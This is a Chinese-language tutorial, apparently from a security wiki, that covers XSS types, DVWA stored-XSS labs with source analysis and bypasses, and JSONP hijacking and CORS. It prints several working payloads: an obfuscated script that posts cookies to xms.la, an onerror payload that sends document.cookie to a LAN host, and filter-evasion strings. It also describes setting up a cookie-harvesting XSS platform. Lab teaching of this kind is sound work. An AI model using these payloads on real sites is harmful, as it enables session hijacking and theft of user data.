窃取隐私攻击者可以通过XSS攻击在用户浏览器上执行脚本,窃取cookie、浏览器历史、IP地址等私人信息,并将这些信息发送到攻击者控制的服务器.钓鱼欺骗利用XSS在用户浏览的页面上生成假的登录框或提示信息,欺骗用户输入敏感信息,如用户名和密码,随后将这些信息发送到攻击者的服务器.窃取密码通过XSS注入的脚本捕捉用户在表单中输入的密码或其他敏感数据,并在用户提交表单时将这些信息拦截并发送给攻击者.传播恶意代码攻击者通过XSS将恶意脚本注入至受害者网站,此脚本可能会自动下载恶意程序到访问者的计算机上,从而感染更多的系统.植马挖矿“植马”指的是在用户的计算机上植入后门程序.”挖矿”则是指通过XSS注入的脚本在用户的浏览器中悄悄执行加密货币挖矿.刷流量攻击者可以通过XSS在受害者的网页中嵌入自动重定向的脚本,将用户不知不觉中重定向到其他网站,以人为制造流量.劫持后台如果管理人员的浏览器受到XSS攻击,攻击者可能窃取管理员的会话cookie,进而获取足够的权限访问网站后台进行控制.篡改页面通过XSS攻击,攻击者可以实时修改用户所看到的网页内容,添加虚假信息或广告,实现诈骗等目的.内网扫描https://www.anquanke.com/post/id/103785https://www.anquanke.com/post/id/103785攻击者可以利用XSS脚本在受害者浏览器中执行端口扫描或网络探测,以识别内网中的其他设备和服务,为进一步攻击做准备.制造蠕虫利用XSS漏洞构造自我复制并自动传播的恶意脚本(即蠕虫),一旦用户浏览了含有蠕虫的页面,蠕虫便会持续通过社交工程或其他机制传播,增加受害者数量. XSS攻击使用到的技术主要为HTML和Javascript. XSS攻击对WEB服务器无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害. XSS原理XSS攻击的原理是利用Web应用程序中存在的漏洞,通过注入恶意脚本,从而执行攻击者预设的操作. 通常:XSS攻击需要满足以下两个条件 Web应用程序存在输入数据不严谨的漏洞,比如没有对用户输入的数据进行过滤或转义. Web应用程序存在输出数据不严谨的漏洞,比如没有对从数据库中读取的数据进行过滤或转义. 12345678910111213141516171819202122232425<?php// 初始化一个变量用于存储 HTML 内容$html=''; // 检查是否有提交if(isset($_GET['submit'])){ // 检查输入的消息是否为空 if(empty($_GET['message'])){ // 如果为空,添加提示消息 $html.="<p class='notice'>输入一段内容试试</p>"; }else{ // 如果不为空,添加用户输入的消息 $html.="<p class='notice'>{$_GET['message']}</p>"; }}?><div id="xssr_main"> <form method="get"> <input class="xssr_in" type="text" maxlength="100" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> </form> <!-- 输出 HTML 内容--> <?php echo $html; ?></div> XSS类型根据攻击的方式和影响范围,XSS可以分为以下三种类型 存储型存储型XSS(又称持久性xss):攻击者将恶意脚本存储在服务器上,当用户访问受害者网站时,恶意脚本会被注入到网页中.这种类型的XSS攻击可以长期存在于网站上,对所有访问该网站的用户都产生影响. 攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本. 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 用户正常浏览信息 通过发帖向服务器发送存在恶意代码的帖子 用户查看帖子内容 服务器将恶意的代码发送给用户 用户端浏览器执行恶意代码 存储型XSS可能出现的位置:用户注册类,用户名,注册邮箱,手机号,个人说明,留言评论,发布文章公告 反射型反射型XSS(只能触发一次,也称作”非持久型XSS”):攻击者将恶意脚本注入到一个链接中,当用户点击该链接时,恶意脚本会被传递给服务器,服务器返回响应时,恶意脚本会被注入到响应中,最终被用户浏览器执行.这种类型的XSS攻击只对点击链接的用户产生影响,攻击者需要欺骗用户点击恶意链接. ​\t具体表现在受害者点击了含有恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本”反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本. https://reurl.cc/main/cnhttps://reurl.cc/main/cn 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 用户正常浏览信息 攻击者诱导用户点击恶意的URL 用户点击恶意攻击者提供的URL 服务器对攻击者的JS做出回应 攻击者的JS在客户端浏览器执行 反射型XSS可能出现的位置:一般出现在URL参数中及网站搜索栏. DOM型https://juejin.cn/post/6844903939008102413https://juejin.cn/post/6844903939008102413 DOM型XSS:攻击者通过修改页面的DOM结构,注入恶意脚本,从而实现攻击.这种类型的XSS攻击不涉及服务器端,完全在客户端进行,因此防御起来比较困难. DOM,全称是Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构和样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM 文档对象模型的一种漏洞,而且不需要与服务器进行交互. 客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行.基于这个特性,就可以利用JS脚本来实现XSS 漏洞的利用. 当页面的JavaScript脚本处理不可信的数据并动态更新DOM时,未经适当清理或转义的恶意输入可以导致JavaScript代码被恶意操纵,从而执行攻击者注入的脚本。 与前面两种XSS的区别就在于xss代码不需要服务器解析响应的直接参与,触发xss靠的是浏览器端的DOM解析. 通过前端脚本修改页面的DOM节点形成的XSS,代码可见,从前端获取到的DOM中的数据在本地执行,从效果上来说也是反射型XSS XSS攻击场景XSS攻击可以发生在各种Web应用程序中,包括社交网络、电子商务、论坛等各种网站. 以下是一些常见的 XSS攻击场景: 评论区:攻击者可以在评论区注入恶意脚本,从而攻击访问该页面的所有用户. 搜索框:攻击者可以在搜索框注入恶意脚本,从而攻击使用该搜索框的所有用户. 表单:攻击者可以在表单中注入恶意脚本,从而攻击提交该表单的用户. URL参数:攻击者可以在URL参数中注入恶意脚本,从而攻击点击该链接的用户. Cookie:攻击者可以在cookie中注入恶意脚本,从而攻击所有访问该网站的用户. 危险请不要打开这个!!!分页和排序:Web应用可能使用URL参数来控制分页和排序,如果未对这些参数进行适当的过滤和转义,可能会导致反射型XSS数据可视化和报表:在展示数据可视化和报表时,Web应用可能使用用户输入的参数来生成图表。如果未对这些参数进行适当的过滤和转义,可能导致反射型XSS路径导航:Web应用可能在路径导航中包含用户输入的内容。如过没有正确处理这些输入,可能导致反射型XSS。HTTP响应:攻击者可以通过修改Web应用程序发送的HTTP响应来注入恶意脚本,例如在响应的HTML、JavaScript或CSS代码中注入恶意代码。第三方组件:Web应用程序可能包含来自第三方的组件,例如广告、社交媒体插件等,这些组件可能存在安全漏洞,使得攻击者可以利用它们来注入恶意脚本。富文本编辑器:富文本编辑器允许用户以富文本格式创建和编辑内容,但可能会存在安全漏洞。AJAX:AJAX(异步JavaScript和XML)是一种在Web应用程序中动态加载数据的技术,攻击者可以利用AJAX来注入恶意脚本。WebSocket:WebSocket是一种在Web应用程序中实现实时通信的技术,攻击者可以利用WebSocket来注入恶意脚本。JSONP:JSONP(JSON with Padding)是一种在Web应用程序中实现跨域请求的技术,攻击者可以利用JSONP来注入恶意脚本。 XSS防御措施为了有效防御XSS攻击,Web应用程序需要采取以下措施: 输入数据过滤和转义:对于所有从用户输入的数据,应该进行过滤和转义,从而防止恶意脚本注入.例如,可以使用HTML编码对输入数据进行转义,或者使用黑名单和白名单的方式进行过滤. 输出数据过滤和转义:对于所有输出到浏览器的数据,应该进行过滤和转义,从而防止恶意脚本被执行.例如,可以使用JS编码对输出数据进行转义,或者使用内容安全策略(CSP)进行过滤. 对Cookie进行安全设置:Web应用程序应该对Cookie进行安全设置,例如设置HttpOnly属性,从而防止恶意脚本窃取Cookie. 使用Web应用程序防火墙:Web应用程序防火墙(WAF)可以检测和阻止XSS攻击,可以有效地提高Web应用程序的安全性. 安全编程实践:Web应用程序开发者应该采用安全编程实践,例如使用最少特权原则,避免使用eval() 和innerHTML等危险的函数,避免使用自定义的解析器等. Xss平台搭建 宝塔创建站点下载源码1234git clone https://github.com/78778443/xssplatform.gitcd /xssplatformmv xssplatform/* ./rm -rf xssplatform添加host记录由于上方的ip被使用了我改成了域名所以这里需要添加HOST记录搞完之后记得刷新DNS缓存不要指向错了IP,我就顺手指向了本机IP..有代理的记得关掉或者用插件配置成直接连接安装Xss平台我们把`xssplatform`这个文件夹赋予给www用户并且设置755权限变成绿色了还需要编辑一下配置文件填入我们的数据库配置信息写入相关信息设置nginx伪静态12345678910111213141516171819202122232425262728293031## 路由重写范例### .htaccess方式文件写入以下代码:RewriteEngine OnRewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=code&urlKey=$1 [L]RewriteRule ^do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$ /xss/index.php?do=do&auth=$1&domain=$3 [L]RewriteRule ^register/(.*?)$ /xss/index.php?do=register&key=$1 [L]RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=register&act=validate&key=$1 [L]RewriteRule ^login$ /xss/index.php?do=login [L]### apache方式<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]RewriteRule ^do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]</IfModule>#### nginx方式rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;rewrite "^/do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;我这里是nginx,选择最后一个 存储型XSS演示低级分析前端首先我们进入到DVWA中将难度选择为LOW 之后我们进入XSS(Stored)中.在进行测试前我们可以先对提交点进行审查元素. 对着目标右键选择审查元素 接下来我们查看两个输入框的属性. 可以看到有输入长度的限制.其中Name maxlength=10 Message maxlength=50.不难看出一个长度为10一个长度为50.当然对于前端的长度限制我们是可以使用抓包工具去绕过.或者直接在本地修改html属性.如将maxlength改为100,这样前端的输入限制就可以轻松绕过了. ​\t在安全编码中,将安全的设置放置于用户端,虽然可以减轻服务器的工作量,但是如果服务端没有其他措施的话,则会很轻松的进行绕过. 我们首先尝试使用短 XSS payload 进行尝试. 1payload:<script>alert(1)</script> payload注入成功证明存在漏洞 使用Xss平台盗取Cookiehttps://xms.la/https://xms.la/ xms.la窃取Cookie原理详解1try { var r0; var r1; var r2; try { r0 = window.btoa(eval(window.atob('ZG9jdW1lbnQuY29va2ll'))) } catch { r0 = document.cookie }; try { r1 = window.btoa(eval(window.atob('ZG9jdW1lbnQucmVmZXJyZXI='))) } catch { r1 = document.referrer }; try { r2 = window.btoa(eval(window.atob('ZG9jdW1lbnQuVVJM'))) } catch { r2 = document.URL }; var xhr = null; var x1 = "aHR0cHM6Ly94bXMubGEvVDBWRTY="; try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') }; xhr.open(window.atob('cG9zdA=='), window.atob(x1), true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6"); } catch { }定义三个变量:r0,r1,r2.试图执行一些base64解码的JavaScript代码.如果执行失败,就会捕捉到异常,并将文档的相应值赋给这些变量.使用window.btoa函数将数据编码为base64格式,而window.atob函数用于解码base64编码的字符串.该脚本尝试从文档对象中收集三个信息:document.cookie – 当前域名存储的cookies.document.referrer – 引导用户跳转到当前页面的上一个页面的URL.document.URL – 当前页面的完整URL.这些信息随后被编码为base64格式.创建一个XMLHttpRequest对象以发送异步HTTP请求.配置请求为对一个base64编码(解码后为https://xms.la/T0VE6)的URL进行POST请求.请求头指定内容类型为URL编码的表单数据.将收集并编码的信息(r0、r1和r2)作为请求负载发送,附加了一个额外的参数c.现在,让我们将混淆的base64编码字符串解码:'ZG9jdW1lbnQuY29va2ll' 解码为 'document.cookie''ZG9jdW1lbnQucmVmZXJyZXI=' 解码为 'document.referrer''ZG9jdW1lbnQuVVJM' 解码为 'document.URL''cG9zdA==' 解码为 'post''aHR0cHM6Ly94bXMubGEvVDBWRTY=' 解码为一个URL 'https://xms.la/T0VE6'在带注释的代码中,可以更清晰的看到每一步的操作:123456789101112131415161718192021222324252627282930313233343536373839404142434445try { var r0; // 存储编码后的cookie var r1; // 存储编码后的引用页URL(referrer) var r2; // 存储编码后的当前页URL // 尝试获取并编码当前文档的cookie. try { r0 = window.btoa(eval(window.atob('document.cookie'))) } catch { r0 = document.cookie }; // 尝试获取并编码引用页的URL(即上一个访问页面的URL). try { r1 = window.btoa(eval(window.atob('document.referrer'))) } catch { r1 = document.referrer }; // 尝试获取并编码当前文档的URL. try { r2 = window.btoa(eval(window.atob('document.URL'))) } catch { r2 = document.URL }; var xhr = null; // 用来发起HTTP请求的对象 // 解码基础URL,用于发起请求. var x1 = "https://xms.la/T0VE6"; // 创建XMLHttpRequest对象. try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiveXObject('Microsoft.XMLHttp') }; // 配置POST请求. xhr.open('post', x1, true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); // 发送编码后的数据. xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6");} catch { } 点击项目名称 点击查看代码 复制以下内容构造payload 1<script src=http://xss.moon.com/Q7yYOv?1661821878></script> 将payload植入到留言板 回到Xss平台查看项目内容自动获取到了Cookie 伪造登录 记录上线机器的地址以及cookie Burp抓包登录 成功登录 漏洞源码分析1234567891011121314151617181920212223242526272829303132<?php// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束if( isset( $_POST[ 'btnSign' ] ) ) { // 接收POST中的mtxMessage字段以及txtName // /** * trim ( string $str [, string $character_mask = " \\t \\r\\0\\x0B" ] ) : string * 参数str 待处理的字符串 * character_mask 可选参数,过滤字符也可由 character_mask 参数指定.一般要列出所有希望过滤的字符,也可以使用 ".." 列出一个字符范围. * 返回值 过滤后的字符串. */ $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // stripslashes ( string $str ) 反引用一个引用字符串. // 返回值 返回一个去除转义反斜线后的字符串(\\' 转换为 ' 等等).双反斜线(\\\\)被转换为单个反斜线(\\) $message = stripslashes( $message ); /** * mysqli_real_escape_string() 函数 * mysqli_real_escape_string(connection,escapestring); * connection\t必需.规定要使用的 MySQL 连接. * escapestring\t必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、 、\\r、\\、'、" 和 Control-Z. * 如果不转义插入到数据库的时候则会报错 */ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 更新数据库 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 输出留言板内容 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );} 可以看到源码中并没有对用户输入的数据进行过滤等操作可以直接注入payload 中级分析前端 可以看到<script></scrpit>被过滤掉了,我们尝试绕过 大小写绕过<ScrIpt></ScRipt> 双写绕过<scri<script>pt></scr</script>ipt> 通过测试后发现2种方式都被过滤,然后尝试name输入框,将长度限制改掉然后输入payload 使用Xss平台盗取Cookie注意:这里有个小Tip: 1就是注入<script>会失败但是注入<script src>不会失败.会在源码分析里说明 漏洞源码分析1234567891011121314151617181920212223242526272829303132333435363738394041<?php// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束if( isset( $_POST[ 'btnSign' ] ) ) { // 接收POST中的mtxMessage字段以及txtName $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );\t/**\taddslashes ( string $str ) :返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线.这些字符是单引号(')、双引号(")、反斜线(\\)与 NUL(NULL 字符).\tstrip_tags ( string $str) : 该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果.它使用与函数 fgetss() 一样的机制去除标记.\t*/ $message = strip_tags( addslashes( $message ) ); /** * mysqli_real_escape_string() 函数 * mysqli_real_escape_string(connection,escapestring); * connection\t必需.规定要使用的 MySQL 连接. * escapestring\t必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、 、\\r、\\、'、" 和 Control-Z. * 如果不转义插入到数据库的时候则会报错 */ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // name字段处理 /** * str_replace - 子字符串替换 *str_replace ( mixed $search , mixed $replace , mixed $subject ) *search 查找的目标值,也就是 needle.一个数组可以指定多个目标.\t*replace search 的替换值.一个数组可以被用来指定多重替换.\t*subject 执行替换的数组或者字符串.也就是 haystack. * 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组. */ //由于我们注入的payload是外部的所以完整标签中有src属性并不会匹配<script>所以过滤失败 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 更新数据库 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );} 高级分析前端正常顺序测试2个输入框,2种绕过方式都不可以,那我们就要想其他方式,比如其他标签<img>payload:<img src=x onerror='alert(1)'> 其实绕过方式并不止于script 1<img src=x onerror="this.src='//192.168.1.118/?'+document.cookie;this.removeAttribute('onerror');"> 漏洞源码分析1234567891011121314151617181920212223242526272829<?php// 检查是否通过POST方法提交了名为'btnSign'的表单字段if( isset( $_POST[ 'btnSign' ] ) ) { // 获取用户输入,来自POST请求的'mtxMessage'和'txtName'字段 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 清洁message输入: 移除HTML标签,并对特殊字符添加反斜杠 $message = strip_tags( addslashes( $message ) ); // 对$message进行转义,防止SQL注入 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对$message进行HTML字符转换,防止XSS攻击 $message = htmlspecialchars( $message ); // 清洁name输入: 使用正则表达式移除所有类似于<script>标签的内容,防止XSS攻击 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 对$name进行转义,防止SQL注入 $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 构建SQL查询,将清洁过的$message和$name插入数据库的guestbook表中 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 执行SQL查询,如果查询失败则输出错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 关闭MySQL连接 // mysql_close();}?> 常用xss语句测试XSS漏洞最基本的语句如下: 12345<script>alert(1)</script> <script>alert(document.cookie)</script> <img src=x onerror=alert(document.cookie)> <svg onload=alert(document.cookie)> <a href=`JavaScript`:alert(document.cookie)> 当然,许多程序对这些常见标签都做了过滤,然而我们在DVWA中也见识到了不合理、不彻底的过滤. 面对过滤有几种基本的思路 避开过滤关键字,实现同样效果. 具体在XSS语句中,可以通过替换标签,替换元素内容来实现.对html和JavaScript了解越多,就越能找到可替换的代码. 通过某种混淆来实现绕过过滤. 如大小写绕过 1<ScRiPt>alert(1)</ScRiPt> 编码绕过 1%3c%53cript%3e alert(1) 3c%2f%53cript%3e 双写绕过 1<scr<script>ipt>alert(1)</scr</script>ipt> 绕过方式备忘录https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.htmlhttps://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html 总结 https://xss.haozi.me/https://xss.haozi.me/ XSS攻击是一种常见的Web应用程序安全漏洞,可以被攻击者用来窃取用户的敏感信息、执行恶意操作等. 为了有效防御XSS攻击,Web应用程序需要采取输入数据过滤和转义、输出数据过滤和转义、设置HTTP头、 对Cookie进行安全设置、使用Web应用程序防火墙、安全编程实践等措施.只有综合应用这些措施,才能保护Web应用程序免受XSS攻击的威胁."},{"title":"八. 同源策略","path":"/wiki/VulnerabilityInsightDocs/八. 同源策略.html","content":"总字符数: 11.95K 代码: 6.02K, 文本: 3.74K 预计阅读时间: 42 分钟 同源策略 ​\t同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源.此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据. 同源策略在Web应用程序中具有重要意义,因为它确保了不相关网站之间的严格分隔,防止数据泄露.Web应用程序通常依赖于HTTP cookie来维持用户会话,因此同源策略是必要的. 需要注意的是,同源策略仅适用于脚本.这意味着某个网站可以通过相应的HTML标签来访问不同来源网站上的图像、CSS和动态加载脚本等资源.然而,由于同源策略不适用于HTML标签,因此可能存在跨站请求伪造的漏洞.跨站请求伪造利用了这个漏洞. URL 结果 原因 http://store.company.com/dir2/other.html 同源 只有路径不同 http://store.company.com/dir/inner/another.html 同源 只有路径不同 https://store.company.com/secure.html 失败 协议不同 http://store.company.com:81/dir/etc.html 失败 端口不同 ( http:// 默认端口是80) http://news.company.com/dir/other.html 失败 主机不同 jsonp劫持漏洞原理JSONP是一种非官方的技术手段,用于跨域获取资源.它利用了script标签的src属性不受同源策略影响的特性.与官方的跨域解决方案CORS和postMessage相比,JSONP是一种常见的替代方案. 然而,需要注意的是,如果网站B没有对网站A的JSONP请求进行安全检查,直接返回数据,就会存在JSONP漏洞.这种漏洞会使网站A能够利用JSONP来获取用户在网站B上的数据.因此,网站B应该对JSONP请求进行安全检查,以防止此类漏洞的发生. 漏洞利用过程示意图 用户在网站B注册并登录后,网站B会保存用户的id、name、email等个人信息.此外,网站B还提供了一个JSONP接口,用于返回用户的个人信息. 用户通过同一浏览器向网站A发送URL. 网站A返回一个响应页面,该页面包含了恶意的JSONP回调函数和向网站B发送请求的script标签. 示例12345678910111213141516171819<!-- 引入JavaScript脚本的标签,定义了一段客户端JavaScript代码.--><script type="text/javascript">// 定义一个名为Callback的函数,它接受一个参数result.function Callback(result){ // 使用alert函数弹出一个窗口,显示传入result对象的name属性. alert(result.name);}// 脚本标签结束.</script><!--引入JavaScript脚本的标签,包括type属性定义脚本类型,和src属性指定远程脚本的URL.--><!--远程脚本的URL,是一个跨域请求(即从域B.com请求数据).--><!--通过URL参数jsonp指定了回调函数的名字是Callback,这是JSONP技术的一部分.--><script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script><!-- 使用JSONP技术的一个例子,用于跨域请求数据.--><!-- JSONP利用<script>标签没有跨域限制的特性,可以从其他域请求代码或数据.--><!-- 在这里,从http://B.com请求数据,并希望返回的JavaScript调用Callback函数.--> ​\t这段代码的作用是通过JSONP技术跨域请求数据.JSONP(JSON with Padding)是JSON的一种使用模式,可以让网页从别的域名(网站)那获取资料,即实现跨域读取数据. 在上面的代码中,Callback函数被定义为全局函数,可以被远程脚本调用.当B.com的服务器接收到这个请求后,它会发送回一个JavaScript文件,这个文件中包含了对Callback函数的调用以及所请求的数据作为参数.然后,Callback函数被执行,实际上完成了跨域数据传输.当远程服务器返回的数据到达时,Callback函数会被调用,并弹出一个包含结果中名字的警告框. 需要注意的是,因为跨域请求的安全问题,现在JSONP的使用已经比较少见,更安全和现代的方法是使用CORS(跨源资源共享)头部在API服务器上进行配置. 用户收到响应后,解析恶意代码并将回调函数作为参数,向网站B发起请求. 网站B接收到请求后,解析请求的URL,并生成包含用户信息的JSON数据.然后,将封装好的JSON数据作为回调函数的参数返回给浏览器.网站B返回的数据实例如下: 12345Callback({ "id":1, "name":"test", "email":"test@test.com"}) 网站B数据返回后,浏览器则自动执行Callback函数将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息. 复现过程jsonp.php1234567891011<?phpheader('Content-type: application/json');header('Access-Control-Allow-Origin:*');header('Access-Control-Allow-Methods:GET');header('Access-Control-Max-Age:60');header('Access-Control-Allow-Headers:x-requested with,content-type');header('Content-Type:application/json;charset=utf-8');$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);echo json_encode($arr);?> 123456789101112131415161718192021222324<?php// 设置响应头,指明内容类型为JSONheader('Content-type: application/json');// 允许所有域名进行跨域请求header('Access-Control-Allow-Origin:*');// 限制HTTP方法为GETheader('Access-Control-Allow-Methods:GET');// 指定预检请求(preflight)的结果能够被缓存多长时间header('Access-Control-Max-Age:60');// 允许特定的HTTP头部在跨域请求中被使用header('Access-Control-Allow-Headers:x-requested with,content-type');// 设置内容类型为JSON,并指定字符集为UTF-8header('Content-Type:application/json;charset=utf-8');// 获取请求中的jsoncallback参数,并进行HTML转义防止XSS攻击$jsoncallback = htmlspecialchars($_REQUEST['jsoncallback']);// 创建一个关联数组$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);// 将数组编码为JSON格式的字符串echo json_encode($arr);?> 当我们正常访问此页面的内容时,可以看到如下的页面内容: 随后可以在本地的kali中启用httpserver: python3 -m http.server 8080 1.html123456789101112131415<!DOCTYPE html><html><head> <title>jsonp</title></head><body><script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script><script type="text/javascript"> $.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){ alert(jsonp.b); });</script></body></html> 12345678910111213141516171819<!DOCTYPE html> <!-- 声明文档类型,告诉浏览器这是HTML5文档 --><html><head> <title>jsonp</title> <!-- 设置页面的标题为 'jsonp' --></head><body><!-- 引入jQuery库,jQuery是一个快速、小巧、功能丰富的JavaScript库 --><script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script> <!-- 包含了jQuery库的脚本结束 --><script type="text/javascript"> // 使用jQuery获取JSON数据,这是一个简化的异步HTTP(Ajax)请求 $.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){ // 定义回调函数,当请求成功返回时执行.'jsonp'变量包含了响应数据 alert(jsonp.b); // 弹出一个警告框,显示返回JSON对象中'b'属性的值 });</script> <!-- 包含了getJSON请求的脚本结束 --></body></html> 通过访问测试页面获取到敏感参数 总结在具备跨域且请求无token的前提下,可以采取以下步骤来检测和记录可能存在JSONP劫持漏洞的请求. 1. 监测所有请求 当用户访问网站时,对浏览器发出的所有请求进行监测. 2. 检测关键字段 在请求中查找关键字段,比如callback等.如果请求中包含这些关键字段,将其记录下来. 3. 检查返回数据 继续访问请求并获取返回的数据. 检查返回数据中是否包含uid、username等关键字,如果存在,认定为疑似JSONP劫持漏洞. 4. 向服务器发送疑似链接 将疑似存在JSONP劫持漏洞的链接地址发送给服务器进行进一步验证. 需要注意的是,这个方法更适用于蜜罐场景,用于钓鱼攻击,并且属于低危漏洞. cors跨域资源共享基础概念 ​\t跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据. CORS 定义了两种跨域请求:简单请求和非简单请求. 简单跨域请求: 使用设定的请求方式请求数据, 非简单跨域请求: 在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源 